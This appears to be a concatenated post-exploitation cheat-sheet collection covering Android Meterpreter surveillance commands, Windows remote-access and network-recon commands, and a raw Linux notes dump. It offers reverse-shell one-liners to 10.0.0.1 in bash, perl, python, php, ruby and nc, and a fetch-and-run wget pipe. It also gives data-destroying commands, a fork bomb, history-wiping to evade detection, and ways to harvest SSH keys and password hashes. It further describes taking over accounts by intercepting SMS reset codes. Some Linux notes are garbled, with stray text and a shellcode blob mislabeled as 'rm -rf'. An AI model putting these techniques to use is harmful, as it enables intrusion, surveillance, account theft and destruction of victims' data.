meterpreter: 2 | #### Meterpreter shell useful commands for android post-exploitation 3 | | Commands | Functionality | 4 | |:--------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | 5 | | `webcam_chat` | This module allows streaming a webcam from a privileged Firefox Javascript shell. | 6 | | `webcam_list` | The ‘webcam_list‘ command when run from the Meterpreter shell, will display currently available web cams on the target host. | 7 | | `webcam_snap` | The ‘webcam_snap’ command grabs a picture from a connected web cam on the target system, and saves it to disc as a JPEG image. By default, the save location is the local current working directory with a randomized filename. | 8 | | `webcam_stream` | The webcam_stream command basically uses the webcam_snap command repeatedly to create the streaming effect. There is no sound. | 9 | | `dump_calllog` | The dump_calllog command retrieves the call log from the Android device. | 10 | | `dump_contacts` | The dump_contacts command allows you to retrieve contacts information form the android device. | 11 | | `dump_sms` | The dump_sms command allows you to retrieve SMS messages. And save them as a text file. | 12 | | `geolocate` | The geolocate commands allows you to locate the phone by retrieving the current lat-long using geolocation. | 13 | | `check_root` | The check_root command detects whether your payload is running as root or not. | 14 | | `upload` | The upload command allows you to upload a file to the remote target. The -r option allows you to do so recursively. | 15 | | `download` | The download command allows you to download a file from the remote target. The -r option allows you to do so recursively. | 16 | | `shell` | The shell command allows you to interact with a shell. | 17 | | `sysinfo` | The sysinfo command shows you basic information about the Android device. | 18 | | `record_mic` | The record_mic command records audio. Good for listening to a phone conversation, as well as other uses. | 19 | | `send_sms` | The send_sms command allows you to send an SMS message. Keep in mind the phone will keep a copy of it, too. | 20 | 21 | Other commands: 22 | 23 | 24 | #### Way to change password of services. 25 | You can recover password for some services (like gmail, twitter and facebook) by receiving SMS message. 26 | First, click "forgot password" and select SMS options. Then use the command `dump_sms` and you will have 27 | verification code. Insert the code and change the password. 28 | 29 | 30 | 31 | ## Other post-exploitation tools 32 | #### Pupy: 33 | Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android), multi function RAT (Remote Administration Tool) and post-exploitation tool mainly written in python. It features a all-in-memory execution guideline and leaves very low footprint. Pupy can communicate using various transports, migrate into processes (reflective injection), load remote python code, python packages and python C-extensions from memory. 34 | 35 | #### TheFatRat: 36 | An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most AV software protection. 37 | 38 | #### Xenotix-APK-Reverser 39 | Xenotix APK Reverser is an OpenSource Android Application Package (APK) decompiler and disassembler powered by dex2jar, baksmali and jd-core Released under Apache License. 40 | 41 | #### DynamoRIO 42 | DynamoRIO is a runtime code manipulation system that supports code transformations on any part of a program, while it executes. DynamoRIO exports an interface for building dynamic tools for a wide variety of uses: program analysis and understanding, profiling, instrumentation, optimization, translation, etc. Unlike many dynamic tool systems, DynamoRIO is not limited to insertion of callouts/trampolines and allows arbitrary modifications to application instructions via a powerful IA-32/AMD64/ARM/AArch64 instruction manipulation library. DynamoRIO provides efficient, transparent, and comprehensive manipulation of unmodified applications running on stock operating systems (Windows, Linux, or Android) and commodity IA-32, AMD64, ARM, and AArch64 hardware. 43 | 44 | We can run DynamoRIO based plugin to detect any post exploitation privilege escalation. E.g., java.lang.Runtime.exec("su") is generally used for getting su privileges using setuid(0) system call. These functions is detected using a global call. 45 | 46 | 47 | ## Methodology 48 | #### Steps 49 | 1. Application Mapping 50 | In this first phase, the focus relies on understanding the application logic and what exactly the application does. This involves some manual test where we do some basic operations such as install the APK on the phone, login and comprehend the functionality of the app. 51 | 52 | 1. Client Attacks 53 | This is one of the most challenging and exciting parts of the pentest assessment. Android apps are packed as an APK, also known as Android Package Kit or Android Application Package. Our mission as Pen testers is to verify how well protected the application has been created and designed against known threat actors.Android Mobile applications are distributed through platforms like Google Play. Since the application is fully installed on the client, it becomes vulnerable to any attacks coming from the client. 54 | 55 | 1. Network Attacks 56 | As we need to identify vulnerabilities in the Client, is also essential to verify how secure is the communication between the Client and the Server by evaluating the traffic. For this purpose, using tools like Attack proxies, evaluating potential SSL issues, and executing Wireshark Data package inspection is an essential part of the assessment. 57 | 58 | 1. Server Attacks 59 | Last but not least, issues at the Server level will impact the security of the application. Insecure implementation such as misconfigurations , vulnerabilities and issues at API or Database level, affect also the security of an application 60 | 61 | 62 | # Refernce: 63 | ### android shell command: 64 | - https://github.com/jackpal/Android-Terminal-Emulator/wiki/Android-Shell-Command-Reference 65 | - https://docs.google.com/document/d/1XaCCyAf46_gQYUIWHyRSCQue6d-TzJmKOZ1z1cpl1sI/edit 66 | - https://android.stackexchange.com/questions/11052/what-useful-android-shell-commands-do-you-know 67 | - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md 68 | - https://null-byte.wonderhowto.com/how-to/hack-android-using-kali-remotely-0160161/ 69 | - http://ddosdipdye.weebly.com/blog/big-android-hacking-article 70 | - http://www.hackingarticles.in/hack-call-logs-sms-camera-remote-android-phone-using-metasploit/ 71 | - https://android.stackexchange.com/questions/60906/terminal-on-real-android-device-from-pc 72 | - https://github.com/n1nj4sec/pupy 73 | - https://github.com/Screetsec/TheFatRat 74 | - https://github.com/ajinabraham/Xenotix-APK-Reverser 75 | - https://www.owasp.org/index.php/Android_Testing_Cheat_Sheet 76 | - http://www.dynamorio.org 77 | -------------------------------------------------------------------------------- /windows/remote.md: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | # Windows Remote Access Commands 13 | 14 | Commands that move data and files between systems on a network and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. 15 | 16 | ## Miscellaneous 17 | ### dir 18 | * **Command with arguments**: `dir \\[computername|ip]\share` 19 | * **Description**: **Must have token to the remote system.** See `net use` below to establish such a connection. Displays the contents of the remote computer's share. 20 | * **Output**: 21 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir \\192.168.10.34\c$ 22 | Volume in drive \\192.168.10.34\c$ has no label. 23 | Volume Serial Number is 1A09-5F16
24 | Directory of \\192.168.10.34\c$
25 | 09/18/2006 05:43 PM 24 autoexec.bat 26 | 09/18/2006 05:43 PM 10 config.sys 27 | 01/19/2008 05:40 AM PerfLogs 28 | 10/08/2013 07:36 PM Program Files 29 | 10/23/2013 08:20 PM temp 30 | 10/10/2013 08:59 PM Users 31 | 10/23/2013 08:38 PM Windows 32 | 2 File(s) 34 bytes 33 | 5 Dir(s) 33,316,192,256 bytes free
34 | 35 | ### qprocess 36 | * **Command with arguments**: `qprocess * [/SERVER:computername]` 37 | * **Description**: Shows information about processes locally or remotely if you provide the computername or IP. 38 | * **Output**: 39 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>qprocess * /SERVER:192.168.1.2 40 | USERNAME SESSIONNAME ID PID IMAGE 41 | (unknown) services 0 0 42 | (unknown) services 0 4 system 43 | (unknown) services 0 268 smss.exe 44 | (unknown) services 0 356 csrss.exe 45 | (unknown) services 0 408 wininit.exe 46 | >(unknown) console 1 420 csrss.exe 47 | >(unknown) console 1 460 winlogon.exe 48 | (unknown) services 0 516 services.exe 49 | >johndoe console 1 1584 dwm.exe 50 | >johndoe console 1 1600 explorer.exe 51 | (unknown) services 0 1708 vmtoolsd.exe 52 | >johndoe console 1 1936 vmwaretray.exe 53 | >johndoe console 1 1944 vmtoolsd.exe 54 | (unknown) services 0 316 tpautoconnsv... 55 | >johndoe console 1 1716 tpautoconnec... 56 | >johndoe console 1 1680 conhost.exe 57 | (unknown) services 0 1984 searchindexe... 58 | (unknown) services 0 2076 msdtc.exe 59 | (unknown) services 0 2844 svchost.exe 60 | (unknown) services 0 2920 sppsvc.exe 61 | (unknown) services 0 2976 svchost.exe 62 | >johndoe console 1 3576 cmd.exe 63 | >johndoe console 1 3540 conhost.exe 64 | >johndoe console 1 2340 cmd.exe 65 | >johndoe console 1 1560 conhost.exe 66 | >johndoe console 1 3616 qprocess.exe
67 | 68 | ### qwinsta 69 | * **Command with arguments**: `qwinsta [/SERVER:computername]` 70 | * **Description**: Shows information about Remote Desktop Sessions locally or remotely if you provide the computername or IP. 71 | * **Output**: 72 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>qwinsta
SESSIONNAME USERNAME ID STATE TYPE DEVICE
services 0 Disc
>console johndoe 1 Active
rdp-tcp 65536 Listen
73 | 74 | ### Remote Assistance Enable 75 | * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f` 76 | * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system. 77 | * **Output**: 78 | *
**Windows 2008:** Show/Hide
C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 79 | The operation completed successfully.
80 | 81 | ### Remote Desktop Enable 82 | * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fDenyTSConnections /t REG_DWORD /d 0 /f` 83 | * **Description**: **Must be admin to run this.** Enable remote desktop through adding a registry entry on the local system. 84 | * **Output**: 85 | *
**Windows 2008:** Show/Hide
C:\Windows\system32>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 86 | The operation completed successfully.
87 | 88 | ### tasklist 89 | * **Command with arguments**: `tasklist /v /s [computername|IP]` 90 | * **Description**: Retrieve the current running processes from the remote system. [Microsoft manual](http://technet.microsoft.com/en-us/library/bb491010.aspx). 91 | * **Output**: 92 | *
**Windows 2008:** Show/Hide
C:\Windows\system32>tasklist /V /S 192.168.10.34
Type the password for WIN-V32NJ7H3AQE\johndoe:************************


Image Name PID Session Name Session# Mem Usage User Name CPU Time
========================= ======== ================ =========== ============ ================================================== ============
System Idle Process 0 0 24 K N/A 4:01:47
System 4 0 2,244 K N/A 0:00:13
smss.exe 388 0 696 K NT AUTHORITY\SYSTEM 0:00:00
csrss.exe 452 0 4,992 K NT AUTHORITY\SYSTEM 0:00:01
csrss.exe 492 1 10,800 K NT AUTHORITY\SYSTEM 0:00:17
wininit.exe 500 0 3,740 K NT AUTHORITY\SYSTEM 0:00:00
winlogon.exe 532 1 4,244 K NT AUTHORITY\SYSTEM 0:00:00
services.exe 580 0 7,308 K NT AUTHORITY\SYSTEM 0:00:03
lsass.exe 592 0 36,968 K NT AUTHORITY\SYSTEM 0:00:06
lsm.exe 600 0 5,128 K NT AUTHORITY\SYSTEM 0:00:00
svchost.exe 840 0 6,576 K NT AUTHORITY\SYSTEM 0:00:02
svchost.exe 908 0 6,652 K NT AUTHORITY\NETWORK SERVICE 0:00:00
svchost.exe 984 0 7,976 K NT AUTHORITY\LOCAL SERVICE 0:00:02
svchost.exe 1036 0 7,992 K NT AUTHORITY\SYSTEM 0:00:00
svchost.exe 1056 0 26,740 K NT AUTHORITY\SYSTEM 0:00:08
SLsvc.exe 1072 0 11,280 K NT AUTHORITY\NETWORK SERVICE 0:00:12
svchost.exe 1124 0 9,720 K NT AUTHORITY\LOCAL SERVICE 0:00:01
svchost.exe 1184 0 8,888 K NT AUTHORITY\SYSTEM 0:00:01
svchost.exe 1208 0 15,332 K NT AUTHORITY\NETWORK SERVICE 0:00:01
svchost.exe 1368 0 10,140 K NT AUTHORITY\LOCAL SERVICE 0:00:00
taskeng.exe 1572 0 7,024 K NT AUTHORITY\SYSTEM 0:00:00
spoolsv.exe 1680 0 9,892 K NT AUTHORITY\SYSTEM 0:00:00
dfsrs.exe 1732 0 8,608 K NT AUTHORITY\SYSTEM 0:00:00
dns.exe 1756 0 39,456 K NT AUTHORITY\SYSTEM 0:00:00
93 | ---- 94 | 95 | ## net 96 | ### net time 97 | * **Command with arguments**: `net time \\[computername|ip]` 98 | * **Description**: Display the time from the remote system. 99 | * **Output**: 100 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>net time \\192.168.10.34 101 | Current time at \\192.168.10.34 is 10/23/2013 9:03:04 PM
102 | The command completed successfully.
103 | 104 | ### net use 105 | * **Command with arguments**: `net use \\[computername|ip] [/user:DOMAIN\USERNAME] [password] ` 106 | * **Description**: Create a connection to the remote computer. This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. If the user you launch the command as is not valid on the remote system you will need to specify a valid DOMAIN\USER and PASSWORD. This is useful when you have credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on. 107 | * **Output**: 108 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>net use \\192.168.10.34 /user:lab\johndoe 109 | The password or user name is invalid for \\192.168.10.34.
110 | Enter the password for 'lab\johndoe' to connect to '192.168.10.34': 111 | The command completed successfully.
112 | -------------------------------------------------------------------------------- /linux/bulk.md: -------------------------------------------------------------------------------- 1 | 2 | # Linux Google Doc Content # 3 | 4 | The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance. 5 | 6 | ---- 7 | 8 | ## System 9 | | Command | Description / Importance | 10 | | ------- | ------------------------ | 11 | | `uname -a` | Prints the kernel version, arch, sometimes distro, ... | 12 | | `ps aux` | List all running processes | 13 | | `top -n 1 -d` | Print process, 1 is a number of lines | 14 | | `id` | Your current username, groups | 15 | | `arch, uname -m` | Kernel processor architecture | 16 | | `w` | who is connected, uptime and load avg | 17 | | `who -a` | uptime, runlevel, tty, proceses etc. | 18 | | `gcc -v` | Returns the version of GCC. | 19 | | `mysql --version` | Returns the version of MySQL. | 20 | | `perl -v` | Returns the version of Perl. | 21 | | `ruby -v` | Returns the version of Ruby. | 22 | | `python --version` | Returns the version of Python. | 23 | | `df -k` | mounted fs, size, % use, dev and mount point | 24 | | `mount` | mounted fs | 25 | | `last -a` | Last users logged on | 26 | | `lastcomm` | | 27 | | `lastlog` | | 28 | | `lastlogin (BSD)` | | 29 | | `getenforce` | Get the status of SELinux (Enforcing, Permissive or Disabled) | 30 | | `dmesg` | Informations from the last system boot | 31 | | `lspci` | prints all PCI buses and devices | 32 | | `lsusb` | prints all USB buses and devices/h | 33 | | `lscpu` | prints CPU information | 34 | | `lshw` | | 35 | | `ex` | | 36 | | `cat /proc/cpuinfo` | | 37 | | `cat /proc/meminfo` | | 38 | | `du -h --max-depth=1 /` | (note: can cause heavy disk i/o) | 39 | | `which nmap` | locate a command (ie nmap or nc) | 40 | | `locate bin/nmap` | | 41 | | `locate bin/nc` | | 42 | | `jps -l` | | 43 | | `java -version` | Returns the version of Java. | 44 | 45 | 46 | 47 | ## Networking 48 | hostname -f 49 | ip addr show 50 | ip ro show 51 | ifconfig -a 52 | route -n 53 | cat /etc/network/interfaces 54 | iptables -L -n -v 55 | iptables -t nat -L -n -v 56 | ip6tables -L -n -v 57 | iptables-save 58 | netstat -anop 59 | netstat -r 60 | netstat -nltupw (root with raw sockets) 61 | arp -a 62 | lsof -nPi 63 | to resume it ? "cat /proc/net/*" (more discreet) 64 | what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff. 65 | User accounts 66 | local accounts: cat /etc/passwd 67 | password hashes in /etc/shadow on Linux 68 | password hashes in /etc/security/passwd on AIX 69 | groups in /etc/group (and/or /etc/gshadow on Linux) 70 | all accounts: getent passwd 71 | should dump local, LDAP, NIS, whatever the system is using 72 | same with getent group 73 | Samba's own database: pdbedit -L -w or pdbedit -L -v 74 | privileged accounts: cat 75 | (above: cat ???) 76 | mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases 77 | NIS accounts: ypcat passwd - displays NIS password file 78 | 79 | Credentials 80 | SSH keys, often passwordless: /home/*/.ssh/id* 81 | SSH agent: 82 | 83 | Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab 84 | PGP keys: /home/*/.gnupg/secring.gpgs 85 | 86 | Configs 87 | ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte 88 | cat /etc/issue{,.net} 89 | cat /etc/master.passwd 90 | cat /etc/group 91 | cat /etc/hosts 92 | cat /etc/crontab 93 | cat /etc/sysctl.conf 94 | for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons) 95 | cat /etc/resolv.conf 96 | cat /etc/syslog.conf 97 | cat /etc/chttp.conf 98 | cat /etc/lighttpd.conf 99 | cat /etc/cups/cupsd.confcda 100 | cat /etc/inetd.conf 101 | cat /opt/lampp/etc/httpd.conf 102 | cat /etc/samba/smb.conf 103 | cat /etc/openldap/ldap.conf 104 | cat /etc/ldap/ldap.conf 105 | cat /etc/exports 106 | cat /etc/auto.master 107 | cat /etc/auto_master 108 | cat /etc/fstab 109 | find /etc/sysconfig/ -type f -exec cat {} \; 110 | 111 | Determine Distro 112 | lsb_release -d # Generic command for all LSB distros 113 | /etc/os-release # Generic for distros using "systemd" 114 | /etc/issue # Generic but often modified 115 | cat /etc/*release 116 | /etc/SUSE-release # Novell SUSE 117 | /etc/redhat-release, /etc/redhat_version # Red Hat 118 | /etc/fedora-release # Fedora 119 | /etc/slackware-release, /etc/slackware-version # Slackware 120 | /etc/debian_release, /etc/debian_version # Debian 121 | /etc/mandrake-release # Mandrake 122 | /etc/sun-release # Sun JDS 123 | /etc/release # Solaris/Sparc 124 | /etc/gentoo-release # Gentoo 125 | /etc/arch-release # Arch Linux (file will be empty) 126 | arch # OpenBSD; sample: "OpenBSD.amd64" 127 | uname -a # often hints at it pretty well 128 | 129 | Installed Packages 130 | rpm -qa --last | head 131 | yum list | grep installed 132 | Debian: dpkg -l 133 | dpkg -l | grep -i "linux-image" 134 | dpkg --get-selections 135 | {Free,Net}BSD: pkg_info 136 | Solaris: pkginfo 137 | Gentoo: # equery must be installed 138 | cd /var/db/pkg/ && ls -d */* # always works 139 | Arch Linux: pacman -Q 140 | 141 | Package Sources 142 | cat /etc/apt/sources.list 143 | ls -l /etc/yum.repos.d/ 144 | cat /etc/yum.conf 145 | 146 | Finding Important Files 147 | ls -dlR */ # 148 | ls -alR | grep ^d 149 | find /var -type d 150 | ls -dl `find /var -type d` 151 | ls -dl `find /var -type d` | grep -v root 152 | find /var ! -user root -type d -ls 153 | find /var/log -type f -exec ls -la {} \; 154 | find / -perm -4000 (find all suid files) 155 | ls -alhtr /mnt 156 | ls -alhtr /media 157 | ls -alhtr /tmp 158 | ls -alhtr /home 159 | cd /home/; treels /home/*/.ssh/* 160 | find /home -type f -iname '.*history' 161 | ls -lart /etc/rc.d/ 162 | locate tar | grep [.]tar$ # Remember to updatedb before running locate 163 | locate tgz | grep [.]tgz$ 164 | locate sql | grep [.]sql$ 165 | locate settings | grep [.]php$ 166 | locate config.inc | grep [.]php$ 167 | ls /home/*/id* 168 | .properties | grep [.]properties # java config files 169 | locate .xml | grep [.]xml # java/.net config files 170 | find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids 171 | locate rhosts 172 | Covering Your Tracks 173 | Avoiding history filesmys 174 | export HISTFILE= 175 | or 176 | unset HISTFILE 177 | This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out: 178 | 179 | However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes. 180 | clear all history in ram 181 | history -c 182 | rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive) 183 | touch ~/.bash_history (invasive) 184 | history -c (using a space before a command) 185 | zsh% unset HISTFILE HISTSIZE 186 | tcsh% set history=0 187 | bash$ set +o history 188 | ksh$ unset HISTFILE 189 | find / -type f -exec {} (forensics nightmare) 190 | 191 | Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect. 192 | 193 | In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however. 194 | Obtain users' information 195 | ls -alh /home/*/ 196 | ls -alh /home/*/.ssh/ 197 | cat /home/*/.ssh/authorized_keys 198 | cat /home/*/.ssh/known_hosts 199 | cat /home/*/.*hist* # you can learn a lot from this 200 | find /home/*/.vnc /home/*/.subversion -type f 201 | grep ^ssh /home/*/.*hist* 202 | grep ^telnet `/home/*/.*hist* 203 | grep ^mysql /home/*/.*hist* 204 | cat /home/*/.viminfo 205 | sudo -l # if sudoers is not. readable, this sometimes works per user 206 | crontab -l 207 | cat /home/*/.mysql_history 208 | 209 | Escalating 210 | Looking for possible opened paths 211 | ls -alh /root/ 212 | sudo -l 213 | cat /etc/sudoers 214 | cat /etc/shadow 215 | cat /etc/master.passwd # OpenBSD 216 | cat /var/spool/cron/crontabs/* | cat /var/spool/cron/* 217 | lsof -nPi 218 | ls /home/*/.ssh/* 219 | 220 | Maintaining control 221 | Reverse Shell 222 | Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet 223 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.). 224 | perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};' 225 | python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);' 226 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' 227 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore 228 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f 229 | xterm -display 10.0.0.1:1se 230 | Listener- Xnest :1 231 | Add permission to connect- xhost +victimIP 232 | ssh -NR 3333:localhost:22 user@yourhost 233 | nc -e /bin/sh 10.0.0.1 1234 234 | 235 | Fun if Windows is present and accessible 236 | If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write. 237 | TODO: insert details on what to look for 238 | 239 | Stuff to be sorted 240 | ## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN 241 | 242 | Command 243 | Output 244 | ps aux 245 | List of running processes 246 | id 247 | List current user and group along with user/group id 248 | w 249 | Show info about who is logged, what are they are doing 250 | who -a 251 | Print information about users 252 | cat /dev/core > /dev/audio 253 | 254 | cat /dev/mem > /dev/audio 255 | Makes a sound from the memory content. 256 | Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver) 257 | sudo -p 258 | allows the user to define what the password prompt will be 259 | (useful for fun customization with aliases or shell scripts) 260 | Deleting and Destroying 261 | (If it is necessary to leave the machine inaccessible or unusable) 262 | Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles. 263 | 264 | Oh, and you're probably a jerk if you use any of the stuff below. 265 | Command 266 | Description 267 | rm -rf / 268 | This will recursively try to delete all files. 269 | char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68? 270 | "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99? 271 | 272 | "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7? 273 | "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56? 274 | "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31? 275 | "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69? 276 | "\x6e\x2f\x73\x68\x00\x2d\x63\x00? 277 | "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;"; 278 | Hex version of rm -rf / 279 | How is this supposed to work? 280 | 281 | 282 | mkfs.ext3 /dev/sda 283 | Reformat the device mentioned, making recovery of files hard. 284 | dd if=/dev/zero of=/dev/sda bs=1M 285 | Overwrite disk /dev/sda with zeros 286 | Execute a remote script 287 | 288 | wget http://server/file.sh -O- | sh 289 | This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit 290 | Fork Bomb 291 | :(){:|:&};: 292 | 293 | 294 | The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb. 295 | 296 | 297 | Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf 298 | World 299 | writable 300 | directories 301 | 302 | 303 | Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile, 304 | .bash_profile, .bashrc... 305 | find / \( -wholename 306 | '/home/homedir/*' -prune \) -o \ 307 | ( -type d -perm -0002 \) -exec 308 | ls -ld '{}' ';' 2>/dev/null 309 | 310 | 311 | World 312 | writable files 313 | What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be 314 | true, it really makes sense to search for world writable files outside your own territory (= your home directory). 315 | find / \( -wholename 316 | '/home/homedir/*' -prune -o 317 | -wholename '/proc/*' -prune \) 318 | -o \( -type f -perm -0002 \) 319 | -exec ls -l '{}' ';' 2>/dev/null 320 | Logfiles 321 | Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as 322 | passwords or other important information. 323 | find /var/log -type f -perm 324 | -0004 2>/dev/null 325 | Setuid / setgid files 326 | We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness. 327 | find / \( -type f -or -type d \) 328 | -perm -6000 2>/dev/null 329 | 330 | 331 | 332 | -------------------------------------------------------------------------------- /windows/windows_cmd_network.md: -------------------------------------------------------------------------------- 1 | 2 | 11 | 12 | # Windows CMD Network Commands 13 | 14 | The Windows commands below will help you gather information about the victim system's network connections, devices and capabilities and are usually executed from the context of the `cmd.exe` or `command.exe` prompt. 15 | 16 | ## ipconfig 17 | ### Retrieve Local DNS Cache Info 18 | * **Command with arguments**: `ipconfig /displaydns` 19 | * **Description**: Displays the system's local DNS cache. 20 | * **Output**: 21 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\johndoe>ipconfig /displaydns
Windows IP Configuration
22 | 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa 23 | ----------------------------------------
Record Name . . . . . : 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa. 24 | Record Type . . . . . : 12 25 | Time To Live . . . . : 86400 26 | Data Length . . . . . : 4 27 | Section . . . . . . . : Answer 28 | PTR Record . . . . . : localhost

29 | 1.0.0.127.in-addr.arpa 30 | ----------------------------------------
Record Name . . . . . : 1.0.0.127.in-addr.arpa. 31 | Record Type . . . . . : 12 32 | Time To Live . . . . : 86400 33 | Data Length . . . . . : 4 34 | Section . . . . . . . : Answer 35 | PTR Record . . . . . : localhost

36 | _ldap._tcp.default-first-site-name._sites.win-0p19ull2nb6.lab.sky.net 37 | ----------------------------------------
Name does not exist.

38 | _ldap._tcp.win-0p19ull2nb6.lab.sky.net 39 | ----------------------------------------
Name does not exist.

40 | localhost 41 | ----------------------------------------
Record Name . . . . . : localhost 42 | Record Type . . . . . : 1 43 | Time To Live . . . . : 86400 44 | Data Length . . . . . : 4 45 | Section . . . . . . . : Answer 46 | A (Host) Record . . . : 127.0.0.1

47 | localhost 48 | ----------------------------------------
Record Name . . . . . : localhost 49 | Record Type . . . . . : 28 50 | Time To Live . . . . : 86400 51 | Data Length . . . . . : 16 52 | Section . . . . . . . : Answer 53 | AAAA Record . . . . . : ::1 54 |
55 | 56 | ### Retrieve NIC Info 57 | * **Command with arguments**: `ipconfig /all` 58 | * **Description**: Displays the full information about the system's network interface cards (NICs). 59 | * **Output**: 60 | *
**Windows 2008:** Show/Hide ![](images/output.jpg)
C:\Users\jondoe>ipconfig /all
61 | Windows IP Configuration
62 | Host Name . . . . . . . . . . . . : WIN-0P19ULL2NB6 63 | Primary Dns Suffix . . . . . . . : lab.sky.net 64 | Node Type . . . . . . . . . . . . : Hybrid 65 | IP Routing Enabled. . . . . . . . : No 66 | WINS Proxy Enabled. . . . . . . . : No 67 | DNS Suffix Search List. . . . . . : lab.sky.net 68 | sky.net
69 | Ethernet adapter Local Area Connection:
